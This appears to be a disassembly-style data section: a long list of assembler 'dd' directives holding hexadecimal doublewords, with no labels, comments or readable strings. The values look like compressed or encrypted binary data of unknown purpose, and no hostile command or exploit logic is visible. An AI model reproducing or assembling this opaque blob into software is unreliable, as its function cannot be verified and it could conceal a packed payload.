		dd 1AB152EAh, 0FF78D00h, 95B6AA31h, 68D54CD7h, 6C85F508h
		dd 48A34D50h, 79C14C0Bh, 4192F305h, 8153CE58h, 0F63DA2F9h
		dd 54228082h, 0D817611h, 187D5E9Eh, 9BEC5859h, 926D226Ah
		dd 4814DB00h, 7249AB2Ah, 2E7F4AD8h, 37523E0h, 58ABC20Ah
		dd 49A67898h, 5CE12815h, 9B8C82CCh, 18F4A4CEh, 76FD8C8h
		dd 4C698F42h, 0A75FE1F4h, 36DD31CFh, 429B0430h,	8D6460A9h
		dd 0D0D060F8h, 8C052284h, 0D6DEF610h, 0F4E11DA1h, 8CA0621Ah
		dd 2001747h, 7E29A9BFh,	4F8F1C6h, 0A46CF983h, 7914CC19h
		dd 0CCBED53Ch, 0D4B1A0BCh, 2C24924Eh, 74FC531Ch, 4106ED46h
		dd 0C0AF4EAEh, 86C3120h, 0C086D680h, 100B1250h,	5773E96h
		dd 0B18D3180h, 5417B088h, 598C56h, 4454114Fh, 0AF016380h
		dd 0A797000h, 0A7D2E331h, 0E9CD00CBh, 0DDC5297Eh, 7898918Dh
		dd 0A87DE224h, 0AD088452h, 2720D860h, 0DC370B12h, 0A400E8CAh
		dd 5B7520DFh, 9600933Dh, 0B6B398AFh, 2E429C48h,	50203F99h
		dd 0F3503DB2h, 0F0F30BA0h, 18C7BF06h, 6386F552h, 0A5580C59h
		dd 7FA07662h, 34D6D106h, 19F0C4D5h, 2995DDF5h, 257020D2h
		dd 48CC395Dh, 76AA0AF0h, 0ED04E416h, 0D10115A6h, 400326B2h
		dd 1C06F5A2h, 0A7E03D3Dh, 0AC400FEh, 0A85D6EA6h, 41BAED88h
		dd 7AF6F084h, 84B86848h, 830025A6h, 0EE49349Bh,	0C0C0FCF2h
		dd 957053Ch, 0C4408223h, 0B06B9B1h, 0A70D04F2h,	0A9E73C39h
		dd 982AED25h, 8D4674C0h, 85ADF3Bh, 24C0CE94h, 4A76D619h
		dd 0BB3C2C36h, 79192C0Bh, 3675807Dh, 3006CB60h,	0A3C0EBE2h
		dd 40509542h, 0AE3D51A4h, 0FB051629h, 3E80845Dh, 9BC921E7h
		dd 52FA1A1Fh, 0A8497830h, 0E5730072h, 6CC54F3Dh, 1C8A948Ch
		dd 57881020h, 0BAC8C704h, 2E0E624Eh, 1F1068E4h,	5C689E2Ch
		dd 0A2005946h, 0E5A19EB2h, 8A092ECBh, 4558057Bh, 8761304h
		dd 0A90329C0h, 0C88A0D71h, 4AED6A9Ch, 81487442h, 594F158h
		dd 0FB77460h, 0A6E11232h, 4AB4470Eh, 0F93FA33Bh, 4627D2B1h
		dd 3106A1ABh, 0A90E9B84h, 5A510011h, 41450944h,	3048FE42h
		dd 836D106Ch, 5DDFF50Dh, 23ACE429h, 988AE63Dh, 3D686942h
		dd 0C00D7B52h, 0FC8DF921h, 39069BB9h, 0CB16EEC9h, 4AA507A0h
		dd 0F1B568F0h, 34FA0E48h, 7809E040h, 0B287A305h, 11349774h
		dd 603181ECh, 0D06144C0h, 0EF233400h, 0D8AA4C6Fh, 0D848EA58h
		dd 635D6A60h, 82557B27h, 0BC583C80h, 7F028C58h,	2B567D75h
		dd 0D954E0EAh, 4498A28Dh, 64470098h, 0D2CCB86Ah, 0DB693AD6h
		dd 0DC280280h, 302A239Ah, 0DF02E97Ah, 999C3735h, 644233h
		dd 0DE56E028h, 3C29CF43h, 0E42A2304h, 0AA729274h, 0ABA9D001h
		dd 0BBB15D7Dh, 211A0898h, 920291E4h, 0B98419E1h, 0DDBC41BCh
		dd 0D458E03Dh, 84B6B022h, 7EB465Eh, 0D6CAB18Fh,	6FBC6089h
		dd 44C1207Bh, 0A40229D3h, 2DF9206h, 66607450h, 560CFC64h
		dd 28FB65DDh, 0BC7D5927h, 2EDDA85h, 6C65B528h, 0A986A818h
		dd 0DCC49DA0h, 98DAFEC1h, 2C0E76BAh, 0AC4DB8Ch,	64A0775Fh
		dd 729B4131h, 0C4226301h, 4AE4D6C1h, 0A8B01030h, 0AAF502BDh
		dd 6C91056Ah, 96ACE03Ah, 30948C07h, 0B2F1004Eh,	2C7493C6h
		dd 150052C7h, 0A78EDC20h, 0B3A9CF42h, 0F1101531h, 890E928Eh
		dd 0C076F967h, 855960E7h, 60D5EEE9h, 0B183A9AEh, 0C62519F1h
		dd 5BAC22CAh, 9A50C0F5h, 9D47005Ah, 1218C46Ch, 93F371Ah
		dd 8D0E0A83h, 5F40A89Ch, 28631CFh, 4AD02824h, 84450FCh
		dd 180BD246h, 770ADA19h, 40EEC4C4h, 0DB19209Fh,	0E7B23C0Bh
		dd 0E61AB0CCh, 4079A888h, 6189379h, 90ABB212h, 0C2D4D008h
		dd 0EC4163CFh, 22D026CDh, 5137D6Dh, 0E50EE63h, 0F978B0E6h
		dd 3910FCF9h, 17A2052Fh, 80799124h, 2661FBD3h, 9D590B2Ch
		dd 242554A2h, 817400DDh, 0FAD4D6BDh, 82102361h,	0CE205EE2h
		dd 0EEB875C1h, 55D70C6Ah, 67385228h, 0A608758h,	0A4E1B18Ch
		dd 0D2088CB8h, 4881650h, 0DED57980h, 0FA10A41Bh, 496C7F48h
		dd 0B829BC94h, 904D7A48h, 418B0573h, 82F45690h,	0E059EDBFh
		dd 8206FF09h, 0F96AE0h,	0E0563BA3h, 5276F61Ah, 0A278C0F8h
		dd 10F0A420h, 961D198h,	0A63C592Bh, 6A14AACh, 5EDD72B2h
		dd 0D10FF090h, 56656AB7h, 0D51E78D0h, 0AAF48EC4h, 16A5AF38h
		dd 2CC4B825h, 0D04C7CCEh, 0E6801F4Bh, 52C603FCh, 5BA3099Ch
		dd 306BCDEAh, 18BC2E93h, 2A0568F0h, 6C08F0Dh, 0B04527C7h
		dd 0F55998D0h, 0DC2F5BBCh, 4E005923h, 54404970h, 3F0203D1h
		dd 0C96ED019h, 2AC949Ch, 78281BC0h, 5E8A852h, 6A855099h
		dd 0FC8944C9h, 0CFE98C09h, 94FBE450h, 0EA021C5Eh, 1430139h
		dd 0D4F9AEF4h, 7640089Dh, 10924CE6h, 2ACB2681h,	4268B93Dh
		dd 15738905h, 0E0D8F56Bh, 66501143h, 73101B08h,	9840611Dh
		dd 5389069h, 0F37976DCh, 68F001C5h, 44C12EDEh, 0BAF827C4h
		dd 63A1CF98h, 78ADC8A6h, 0D41FB0B4h, 62C90363h,	1445A35Bh
		dd 81411090h, 0CC72DE16h, 0AC59B492h, 8CE160ECh, 0A763BA05h
		dd 0A4F2C5C8h, 63D310C0h, 0CC99888Dh, 79623B80h, 4FA4F27h
		dd 22FE0B18h, 90688281h, 0F91E54C0h, 4750B282h,	60654440h
		dd 24D91E3Bh, 0FC19537h, 66596E2h, 0A37CD0E6h, 8912C707h
		dd 0C5D8AADh, 0CAE33F40h, 0C0BC6501h, 0B7FEF2F8h, 0F77DD1FCh
		dd 0D7A20400h, 5E7E6A8Dh, 0AC8A026h, 7DD22DF6h,	0AD8CC0A1h
		dd 571711EBh, 829C9180h, 0F069A7BEh, 2D9D8D0Fh,	42B1EE59h
		dd 0E899E3BFh, 4D9048DCh, 0D123FC7Fh, 0D5041913h, 2CD81E77h
		dd 21A088E9h, 0C9A91900h, 423F8B7Bh, 85C4891h, 0A04DA83Ch
		dd 44087C00h, 52262BC2h, 4FE80D77h, 4C147D24h, 91D0172Fh
		dd 0A8D38A6Dh, 2F7F208h, 7F8B4550h, 0D7581845h,	80CCB976h
		dd 0CE4E9D13h, 8B014FB2h, 2239F789h, 1023B82Fh,	0CC40FB00h
		dd 0BDE14D4Ah, 19D2A901h, 0E4DCF4B8h, 0C44E8C28h, 0D938D8F2h
		dd 0B282009h, 9774C53Fh, 7A1701A3h, 0C4418743h,	0A61CCFACh
		dd 4AC61580h, 0A0E06A71h
		dd 91F40E58h, 48CC0494h, 78DA57B7h, 45973D80h, 4C091BABh
		dd 0D1B86Fh, 16796A48h,	1353741Dh, 2030DF05h, 1EF89EF8h
		dd 0EC19297Ah, 1C187CBAh, 905842ECh, 0A88F1848h, 3EF6D164h
		dd 5F10FA04h, 0F8D8A71Bh, 24F449C9h, 0D980743Ah, 0F233F76h
		dd 8E4C6217h, 0FB4C0085h, 396329B3h, 0C89187h, 55A17950h
		dd 6E5876A5h, 0A98689C4h, 625482E8h, 70840980h,	20B0CDE3h
		dd 49C06AEEh, 953CB15Eh, 4C6D31Eh, 2EB2E2Ch, 0A1527A27h
		dd 132B2190h, 0C34B4180h, 0B7BB1EE3h, 0B9D2AF00h, 0FF2CE7A9h
		dd 6A86126Dh, 8828CE3Ch, 574CC06Dh, 0EC926ADCh,	71E69E11h
		dd 0D6D05032h, 5C9B18D0h, 99282A0Ch, 24A90A3Eh,	9E943Dh
		dd 5DEAE50Eh, 87286559h, 7E20CCD5h, 40DEFE77h, 0B7C2276h
		dd 0E802E4Dh, 6221CAAAh, 898DE142h, 51587190h, 41110C7Ah
		dd 20686C5Fh, 96060983h, 4479B3DBh, 0F4986093h,	4EFA81EDh
		dd 0EDD02520h, 60ECC464h, 0EFED7749h, 6838CC75h, 0C09CDA4Bh
		dd 262E80BAh, 13221FFFh, 9F40820Dh, 4F0C6E3h, 270034A4h
		dd 0FAAAC84Dh, 0B84CBE1Ch, 5FCD2160h, 1609BECEh, 41E410F8h
		dd 9F09073h, 0D5AE0721h, 299004C0h, 0D11458B4h,	49E210E8h
		dd 0B391F90Fh, 4EDD3D23h, 174E159h, 295EA951h, 405E215Dh
		dd 82E52610h, 5B63908h,	5854B21Dh, 0CC425E2Ch, 0E18C7260h
		dd 0BC208BEEh, 0EC72E7B2h, 0DED51002h, 0F042B142h, 8A7A6E60h
		dd 9EFA3D02h, 0B2E46EE3h, 89B46094h, 1C7C808Ah,	0D800989Ah
		dd 6042FB6Bh, 64ED7B6Fh, 0E2502086h, 0DBC61010h, 962FB850h
		dd 21A667ACh, 0E8BA9BCh, 92ADF000h, 80EF3C2Ch, 0F30BDC00h
		dd 17850F96h, 2261C06Eh, 0B7FC5451h, 58342800h,	60BCA6E8h
		dd 0FE5B0ECCh, 0EC629EACh, 0A8E65746h, 5D4AA908h, 0D6D10258h
		dd 20D9D4A3h, 0CC233809h, 4DE81EF8h, 853447A4h,	0D8E8CB55h
		dd 0F81DD860h, 585416Ah, 0AC147F40h, 507C2828h,	4CB5A819h
		dd 47101D51h, 1800C90Ch, 8EBC0A5Bh, 52D34CF5h, 8861B8D6h
		dd 123191DCh, 504E2713h, 0B9182079h, 165B1D00h,	88A6DC3Eh
		dd 8B5E2671h, 6BBD0998h, 0A7DDBC49h, 11441DD8h,	0CED6801Fh
		dd 98842C55h, 71B226BCh, 0D2A300E4h, 2ED4F8E2h,	0BA7F0C9Ah
		dd 1614DF58h, 0F021CC5Ah, 788B5E08h, 549D80C5h,	5080E891h
		dd 0DFD2CFAEh, 94D4F424h, 0E8871545h, 0B91870F9h, 809F9C64h
		dd 27D06629h, 0FB0C5880h, 848887Dh, 200C6011h, 1FD07ED7h
		dd 0DD9B1A00h, 0AC8980B9h, 0C7C0156h, 0D4DA61A9h, 0E009D191h
		dd 4A002AFFh, 35251678h, 0CC3D1E08h, 50218208h,	154A1200h
		dd 0A62AE865h, 0FA0A00AEh, 63CBDA43h, 46061603h, 7637C7E3h
		dd 0D59F0030h, 0EB22E787h, 0AB1C9278h, 2AC01AEFh, 25CED350h
		dd 170500CCh, 0AF887E22h, 5B01D565h, 4EC2444h, 0EF1D914h
		dd 945080F6h, 7B642CEh,	0C12AFC1Bh, 7E835F9Dh, 71006237h
		dd 46C3DF41h, 19E805F8h, 8D5E09Ch, 3F218068h, 5874C3E7h
		dd 0E2C6006Fh, 1E7FD95Bh, 0BD3BA4B6h, 0C7DE0059h, 0DA21680Bh
		dd 8876149Dh, 903A40Eh,	2E201BB5h, 94F81800h, 1684FB37h
		dd 0CFD3F8B1h, 0BC159891h, 6413BF00h, 37045F1Ch, 30601118h
		dd 775449h, 2D9BEAC4h, 4A0BACEFh, 0D7700500h, 631A5753h
		dd 147EF656h, 0D45D959Eh, 24C0E488h, 4616664Ah,	3B92215h
		dd 8A4A2C5Ah, 0CF0F93h,	0BE7E95C0h, 7359EB00h, 40FC160Ch
		dd 0B3B0A03Ch, 8A4D1824h, 3561C8F5h, 0B01F80h, 0E3112F4Fh
		dd 0A994A0Ch, 4129D9CEh, 508024D0h, 27223826h, 0D079D400h
		dd 2454E918h, 0E80E09CCh, 3C037E23h, 804030BBh,	0E08B44F0h
		dd 0A16D0FB1h, 31B22A4Ch, 7A304178h, 802B11D0h,	80108878h
		dd 0D7D072CBh, 113F3C23h, 0CFFC5EC1h, 9EB34200h, 60AC29C6h
		dd 898C310Fh, 88AC74C5h, 4A2BC0DBh, 2D46167Bh, 511C8322h
		dd 68C04A13h, 0A30ADFEDh, 0E85601DDh, 19A47840h, 0C716C48Bh
		dd 0A4766B2Ah, 25483E8h, 5C3292FCh, 3F72886h, 22B91F7Ch
		dd 12F89167h, 0BC79C41Dh, 10E05B18h, 13288182h,	4F029077h
		dd 0AFDF881Fh, 15104CF4h, 8417E294h, 63B18206h,	0F60A3060h
		dd 0B40B88CCh, 3709002Bh, 4B88206Dh, 0AA2FF8h, 0BD4E5B95h
		dd 6234B787h, 0FA1EE7E2h, 0B4C3926Ch, 51499E2h,	0A4E3E661h
		dd 8CA582F6h, 2A428CA0h, 767B1E15h, 0AAEBA903h,	0B06A8BE3h
		dd 0F85469A4h, 1B7509D9h, 4042879h, 0C86C8F85h,	8A0EC08Ch
		dd 8B09EE14h, 70FE863h,	0A1BD98C8h, 715FE0h, 166D3FA0h
		dd 902CC303h, 0F329FA00h, 0D194F419h, 12DC90F1h, 11139F2Ah
		dd 0EC05D090h, 84D3A27Ah, 8DCAC160h, 2108985Ch,	76414221h
		dd 576800A2h, 0A92F60CBh, 6C65BC06h, 0B440783Ch, 64D28DF7h
		dd 887C3ECAh, 180F8C1Ah, 0E646E894h, 644A2602h,	7C940516h
		dd 4A2E5C00h, 32467DD0h, 2CC1488Ah, 8FC0322h, 0BFF058F5h
		dd 0B00E010Ch, 84190h, 0DAE974FCh, 1A1DE87Eh, 9C206C28h
		dd 1FC841E1h, 1AC0225Dh, 84B01030h, 0BD417F94h,	0DE3643E0h
		dd 184F0869h, 23D07364h, 26114880h, 0D07CC900h,	6FEFFD8Ah
		dd 0EC3DCB05h, 886636BFh, 9D481260h, 0D490619Fh, 27C18088h
		dd 2482A576h, 1DEC03D6h, 7A5AC694h, 301AB026h, 0A44BB943h
		dd 4077A014h, 0B11138E3h, 0FA044213h, 8A806D8Ch, 43C42D4h
		dd 27AC0BE3h, 883FF4C8h, 6A023E85h, 7DB7399Ch, 8280A08h
		dd 2E44FC6Fh, 0DEA24560h, 11A4B523h, 4C4F0024h,	8A9A72A2h
		dd 7D470284h, 0EA5CECF0h, 7CDED480h, 0E036C408h, 669C10EEh
		dd 916B70CFh, 24F93772h, 8A3076E4h, 0BEC4590Dh,	0A26615E0h
		dd 4023D8A4h, 2AD07B01h, 0A4336080h, 0D073CA80h, 0E018298h
		dd 344A3C2Eh, 3020866Ch, 86940D7h, 0B609218h, 3A1871h
		dd 0E006CAEFh, 0A294E646h, 3449FC06h, 35A1651Ah, 610399h
		dd 4224754Bh, 1B076CF0h, 0F409FAC4h, 3C803604h,	72020DD0h
		dd 0E1C0A094h, 0F58C20BCh, 0FC227490h, 4444A731h, 5127601Dh
		dd 5F0100BEh, 0E4A9AA14h, 9B118D0Eh, 40010961h,	0C99856CEh
		dd 0F738873Eh, 8A108085h, 5465DB81h, 4494B873h,	9E60D53Bh
		dd 0D3CF5D41h, 1B483029h, 7C4DEA30h, 884C9588h,	89486C37h
		dd 410851B0h, 0C5E496B0h, 60804318h, 59228D83h,	461890F6h
		dd 4A2716E7h, 0B10D1C09h, 5D108D18h, 0EB014A2Fh, 9980AAC8h
		dd 0B8857FB7h, 0C172FABDh, 3556A0h, 2437D989h, 12309264h
		dd 0C46860C8h, 4E00CE95h, 0A58F647Dh, 3FE29380h, 8BAAC9BCh
		dd 0D5FD22C8h, 84A40E7Ah, 0F0203C98h, 6AD79027h, 311C1992h
		dd 55CD3F8h, 3CD8701Eh,	899F79F9h, 855E1088h, 8EC501A5h
		dd 37F7ADA8h, 0B5282474h, 9CBD7A0Fh, 34CD00ACh,	32F91F07h
		dd 6E60A9F2h, 9170972Bh, 0C39B80B8h, 1725248h, 886387D1h
		dd 2028FC13h, 0BC163048h, 0E05C90BDh, 17C8EC84h, 409B98C8h
		dd 115D235Fh, 45D4BD60h, 46620370h, 0BC0BC478h,	177092FDh
		dd 8A9BF120h, 0B51200AEh, 645AFB41h, 3FB8BD10h,	49FAC909h
		dd 0C0F8822Dh, 992000E2h, 907AD7h, 0F1E0BE50h, 48AAEA44h
		dd 7245478h, 0D9F81ECh,	89407C10h, 8BC18548h, 0ED18A630h
		dd 0A18C3B50h, 67D8397h, 80D292E4h, 0D090C43Bh,	58050984h
		dd 84DA118Ch, 46812038h, 102A04A6h, 913761h, 27C1EFC8h
		dd 9C0CCE40h, 0F13F0EEDh, 762085E7h, 2647F6C6h,	0ACC8201h
		dd 0F58188B7h, 12B4A424h, 82DF4F3h, 0CCA0B24Ch,	4F217D67h
		dd 0AFA8C9FFh, 141636A0h
		dd 14052513h, 0B830C7D9h, 0C3155E2h, 0EF4FCDDh,	5471D5D8h
		dd 0BEAA6901h, 34B4CC25h, 4A32FC48h, 916C014Bh,	4C13E482h
		dd 78C8C12Ch, 0E8B6C217h, 0BC638320h, 561801Dh,	4C203466h
		dd 0F623141h, 82E9C710h, 7C1BB131h, 11E04137h, 41DBCC30h
		dd 0C7045474h, 78C0C844h, 43B5D1A2h, 4F4C805Ch,	142FEEA2h
		dd 2035D1C0h, 68C38B8h,	90138B11h, 0A898C801h, 0B88F520h
		dd 7AEB378Dh, 7E5C9682h, 807154C8h, 0E7CD806h, 0B1484283h
		dd 18B8D98Ch, 0B2190278h, 7B7017C0h, 0AF085BC0h, 0B8E5615h
		dd 814C488Ch, 1460C6BDh, 0A0EAA842h, 3B102C0h, 3628C55Bh
		dd 81A888FAh, 32370F44h, 8519601Fh, 950804C5h, 0E080A075h
		dd 0F8028211h, 3701FCB6h, 4183771Ch, 0BF890A01h, 0F2549951h
		dd 3186E824h, 0D95C9148h, 3F891C86h, 90F0DF99h,	44C44894h
		dd 0A891F925h, 865184Eh, 708028D0h, 0C84F13C4h,	0BA30D040h
		dd 0F812D536h, 0E40B0524h, 8BB898AAh, 408243h, 37882154h
		dd 0D96C611Ah, 0F1870E2Fh, 0C888622Bh, 0DE8C8336h, 0F0A460E6h
		dd 0B13EB34h, 7C4F3814h, 2217304Ch, 8E42181h, 88684BA1h
		dd 1D92C010h, 0BB243A2Ch, 0B408BC96h, 35048923h, 86406494h
		dd 0C9D0188Bh, 89804965h, 8841D730h, 1C35E412h,	447E24A2h
		dd 0CA2979F0h, 872620A8h, 0E71A8820h, 0F7B180C1h, 7C3602D6h
		dd 581A4AEh, 301C7860h,	1091AA7Ch, 60198379h, 0A000BA9Eh
		dd 3B6E8E0h, 0C7532893h, 0E02ACC61h, 1FA80838h,	0CAB3AD00h
		dd 2821021Ah, 10A41716h, 925C013Fh, 61E454DEh, 0B24C63F8h
		dd 0C79E308Ah, 2E091B78h, 87FC0766h, 909A9938h,	0F750381h
		dd 149F26EBh, 432349D9h, 0AF559A00h, 54017917h,	65F7981Fh
		dd 643DEC24h, 403D6012h, 0F6819A28h, 0A500ADC7h, 0D165D7DBh
		dd 5FE2E4Fh, 898EC6E3h,	0CE0C2D0h, 5E1BB520h, 9128B435h
		dd 0C3DE807Fh, 8CFDF845h, 13E6F44h, 0B6A0C3E6h,	9C3B926Bh
		dd 67D13740h, 218A7613h, 5081D5B4h, 21CB5584h, 0F40B100h
		dd 59C64B64h, 0C07CABh,	0C9787261h, 9F2B5CC4h, 0B9125875h
		dd 30C18B86h, 0E5E38CFAh, 5970081Ah, 18257964h,	35902A6h
		dd 2346A0D4h, 0FDEA5863h, 0D80B8B01h, 3A4AAC38h, 1272320h
		dd 67D1699Dh, 0DF806FD4h, 128B081Bh, 5326A063h,	952890ECh
		dd 7203352Fh, 859E2A92h, 4FB990F7h, 0B70D0BE3h,	0C810886h
		dd 2CA594F8h, 0C4984DDCh, 7488880Eh, 37E2FE19h,	0C4D0E46Bh
		dd 1E2E00FCh, 9EACE3B6h, 66FA407Ch, 0DC261B8Ah,	7A42D82Ah
		dd 6BB501FBh, 11618180h, 5F37B182h, 8C022038h, 5DFD9E7Eh
		dd 8AD120D3h, 0EECDFDFCh, 9B18029Fh, 41C69465h,	6952F8E1h
		dd 0E447A1Ch, 88631AE3h, 0AC529037h, 80681245h,	0C8C6DBCh
		dd 34610154h, 2B007861h, 0DCF46BE5h, 14C2606h, 7705F7F8h
		dd 2D6F7337h, 0B86300F4h, 8C4EA9AFh, 0E7390B90h, 0A00E2914h
		dd 0BE0555A8h, 44A4C598h, 51532DB9h, 4F22EC24h,	6F5F852Ah
		dd 8BCC98D2h, 0E434450Ch, 0DCB7601Dh, 8ED50538h, 86296E3Ah
		dd 90021F0h, 0E499E8D7h, 15812F9Bh, 0C4F5B40Eh,	88503715h
		dd 95C1E000h, 4EED9211h, 0EBB9181Ch, 19C037C0h,	0B6AEE593h
		dd 139640DCh, 7B001A7Fh, 0CC5F8471h, 1EBA02EBh,	1D8D568Ch
		dd 0D3224005h, 35E00BC7h, 0BE2ED8A0h, 80184B3Ch, 0A11A6717h
		dd 0D3F2890Eh, 8880CE50h, 63A5C78Bh, 0C1C478C4h, 0F93CE37Ch
		dd 0C84C72B6h, 90D59719h, 3061EE0h, 0EC51C300h,	83FE10CDh
		dd 3E79EBh, 0FFC01D56h,	1C898CD3h, 16047092h, 0DAE050CCh
		dd 231DB0C2h, 51009DD4h, 0E1244C76h, 5C8CC4DAh,	0D32AAC7Ah
		dd 0D11C91E8h, 7E701824h, 0F8BF0466h, 818CF5BCh, 621037F8h
		dd 0EB1F2484h, 0E877D501h, 0DC326BC7h, 4D8CF806h, 0C08130F4h
		dd 99198C66h, 0BF611Ah,	0C381415Fh, 34DCAA2Eh, 4E302307h
		dd 62FEF071h, 847A7372h, 7E40029Ch, 0CC942B44h,	0B0B6FCF4h
		dd 0A47F8143h, 0E32A6C8Ah, 2D846E8h, 167A4A28h,	60D47135h
		dd 524A105Eh, 4018F832h, 0C5DCE1BFh, 4AC486D0h,	102044EBh
		dd 0A430417Fh, 7442974Dh, 0E6C6206Eh, 4F50D81Fh, 0F7881458h
		dd 0E9CA148Dh, 5A2198BDh, 82319C04h, 0C03B501h,	10DC2934h
		dd 0D848FC8Dh, 3C918022h, 44984420h, 4C8D852Ch,	993D5C2h
		dd 8E1D08Ch, 3D48EC12h,	0C703544Fh, 0DA55C0C4h,	0E1949845h
		dd 72D5420h, 0E050C0B0h, 4987248h, 0C88B38B8h, 17FBD811h
		dd 4CD881Eh, 0C21FE9B0h, 482CAA24h, 0B6982837h,	3644A90h
		dd 0FD821F24h, 0EF83C4F3h, 268A803Bh, 0A008B425h, 4034299Bh
		dd 7EFBFAC2h, 568F8E13h, 8623F83Eh, 0FB1A2407h,	0E2DC9080h
		dd 0F43D28BCh, 940206ECh, 0D00839FDh, 378B49Bh,	0EFC8049Bh
		dd 0E43EF8F4h, 5D2E9948h, 4676D0D2h, 948A018Ch,	13885128h
		dd 0C2436D1h, 68E0F959h, 4F70960Fh, 8D092A60h, 0A41820CDh
		dd 8428BCEDh, 0D4F20549h, 4075371Ch, 22029DA8h,	9AA062BAh
		dd 0B4011EFEh, 0A45829E7h, 1C208EC5h, 0A1080165h, 346A13E9h
		dd 99689417h, 9E4680F8h, 488075C7h, 922046Bh, 102DDF02h
		dd 8FEB4CC4h, 965985ECh, 0B8A5B406h, 0AB0C0658h, 6073D968h
		dd 9DE4B117h, 29B8FC21h, 0E89CD182h, 0AC408532h, 0D15C2AC1h
		dd 11447A34h, 4F3F1405h, 33F12012h, 0A42C19C4h,	128C3EBCh
		dd 47360A6h, 0F95E9A8h,	0A8D1D237h, 0F9801998h,	32EC7972h
		dd 730030F7h, 0E2FCA931h, 7526CB86h, 0D48415AEh, 7D00EC94h
		dd 52B7DE3Eh, 4500BCF7h, 24D7F83h, 4864CCF6h, 0DE001C25h
		dd 802FD08Bh, 0DCB2DF99h, 3E19461Dh, 0F6824830h, 4970E8AAh
		dd 0D50B902Bh, 0CC17B20h, 5CB2046Eh, 2E308CF2h,	791924EDh
		dd 0D980938h, 936C3898h, 0B889802Eh, 64FE9442h,	0D6B00018h
		dd 54E7599Dh, 0E4D6024h, 36B41038h, 26B2884Ch, 68780229h
		dd 96C80008h, 0D5991CCh, 0F4829F7Ch, 4D934D8h, 0DA8B4435h
		dd 7C0E14A3h, 37ADC490h, 520C7728h, 3086E2BCh, 0CC00900Bh
		dd 0FA1ABE70h, 0B18715A4h, 8C824968h, 400A8555h, 5CC85A12h
		dd 0D2048C73h, 0DDF879C3h, 22206B62h, 7946C3DAh, 0B6D00529h
		dd 0E4AA65B0h, 674CF984h, 9CA7263Eh, 0FCDDF601h, 4006E2A4h
		dd 9AD85893h, 58695CA2h, 225E0E39h, 0D881890Ch,	87C5DE9h
		dd 0A49D8ABAh, 46802511h, 774BB2A6h, 0D76FA81Ch, 54BFB904h
		dd 44C10A9h, 0C7B0914Ah, 0BC32107Ah, 0B0FF54C1h, 1CA41063h
		dd 9A0801DAh, 482BE12Ch, 60C65C28h, 0C10E7933h,	602B15B5h
		dd 0D235B3CFh, 20B757Fh, 0B6624480h, 0B0C11A77h, 124C2DE3h
		dd 1C09B708h, 0F10C59E9h, 780A1887h, 50EC044Eh,	9728C49Eh
		dd 25A05348h, 62E888D9h, 0D84D2AB8h, 461CB697h,	0F8910012h
		dd 0DB9BE281h, 0F9FEF919h, 0C0E91FFCh, 0C65E4BC7h, 0F50F02A0h
		dd 54E12B90h, 7D0912E0h, 363CA404h, 20DD300h, 0A8A20E8Ch
		dd 204424F1h, 0F313B022h, 1982ECh, 6983A180h, 9522E0A4h
		dd 93B110E8h, 41361651h, 72DBB490h, 0E8290447h,	842B1BB1h
		dd 0C014AC94h, 93BB8877h, 8CAA0EF5h, 0BFE018D4h, 37D80E29h
		dd 0B92A1104h, 54B454EFh, 30C08A36h, 0DF4922CDh, 259886CCh
		dd 0F28E0E59h, 7F07130Eh, 46A02E51h, 9E2970E3h,	4C754302h
		dd 612B936Eh, 8811E96Ch, 552AC4h, 0AF088408h, 5EB9B0C3h
		dd 0C4E00B11h, 0D8CEE492h, 0BF2CCFE8h, 9800D5D1h, 8625DEE3h
		dd 0DA851AF7h, 0FC5E5888h, 4ECE083h, 0BE711316h, 1EE04007h
		dd 0B2775396h, 8982F107h
		dd 47C958CBh, 6087446Ch, 0ECC6E68h, 0FD95C5DFh,	0B78AF014h
		dd 0C6940124h, 0CEC2AA7Fh, 8AD98859h, 0AD09AA18h, 406D9C58h
		dd 0F06BB140h, 1DA49C36h, 2C7E6280h, 16B878B1h,	0B4824F89h
		dd 8AEC60BEh, 30E0B0C1h, 9F911F37h, 0D526C4F8h,	0C089C492h
		dd 92475878h, 0FC0B1110h, 23544928h, 0A246012Fh, 0EACB5DFh
		dd 0A24D4E00h, 55B40197h, 0C846B32Ch, 0CC39740Ah, 5A776342h
		dd 803C4B34h, 65D382E0h, 7F5C4000h, 9D8C58A9h, 1BF9C2FFh
		dd 210B5AFBh, 24F40BD8h, 3F8D5041h, 4877E5F0h, 81121C41h
		dd 12E09296h, 0A2795C90h, 44B5D217h, 430118CBh,	2A4AA240h
		dd 7117D990h, 1194021Ch, 0ACB4C058h, 0F250477Ch, 96BF1750h
		dd 3C88A4AEh, 4CA70D46h, 3088FE8Ah, 884065B8h, 0C4E0137Ch
		dd 825C4078h, 50FBB0E4h, 0EC1B8A0Dh, 98C3D81Eh,	9FF803B1h
		dd 0AFA1400h, 0CAE891B5h, 22167C0Ch, 217420D9h,	2A80C12Eh
		dd 12E1CF88h, 9E1406F4h, 683F08CCh, 5B24B9E8h, 6DA5B840h
		dd 0DCF6E070h, 8B1D652Bh, 7D7BD219h, 8FDC3754h,	3875BF18h
		dd 1C520E8h, 6892BEFCh,	20F8E4D3h, 7A809524h, 61789C94h
		dd 47527B1h, 0ABBFBC87h, 4428E722h, 0E7676012h,	0AFC148B7h
		dd 1F73D700h, 11A743B0h, 6EF2AC98h, 0BF2AE712h,	0B072580Bh
		dd 11C3D368h, 88E5F87Ah, 0DB23816Ch, 70578DC3h,	9D17E4h
		dd 0D8112684h, 176C982Eh, 44464544h, 0C8994C94h, 2B0022D8h
		dd 0A7D61F23h, 9C80BCh,	14208959h, 946CB20Bh, 3E84F400h
		dd 0FB7967D3h, 9F2B0B78h, 48698C60h, 2E69E154h,	0B823D43Bh
		dd 80CBBA39h, 7ED706Dh,	164D9229h, 9DA8212h, 0D4AAE8E0h
		dd 509B0870h, 5CF49E03h, 0BE0FE43Eh, 3B93404Fh,	28D23A0h
		dd 0E94160CBh, 80597C62h, 0C582E681h, 24690A61h, 103B826h
		dd 382A8736h, 43486076h, 10BE652Fh, 1E9A9EE0h, 185135h
		dd 6A152F2h, 0E50063C9h, 0F905CE80h, 16FABEDBh,	0A2247B41h
		dd 62823E00h, 213F90F0h, 37A8BA1h, 0D6900BBFh, 0E82A866Eh
		dd 0E9BC62BCh, 50E488F0h, 749B694Ah, 686A8E80h,	9C124D63h
		dd 7412DC2Ah, 7853B857h, 6FE07CA6h, 0BA61D4B6h,	2D12AAC0h
		dd 383547Ch, 0D19838CBh, 5F0E0115h, 847471h, 54B7A114h
		dd 0E474BC80h, 98145655h, 0FBB9C7D0h, 0F5E20BD8h, 1A203CE4h
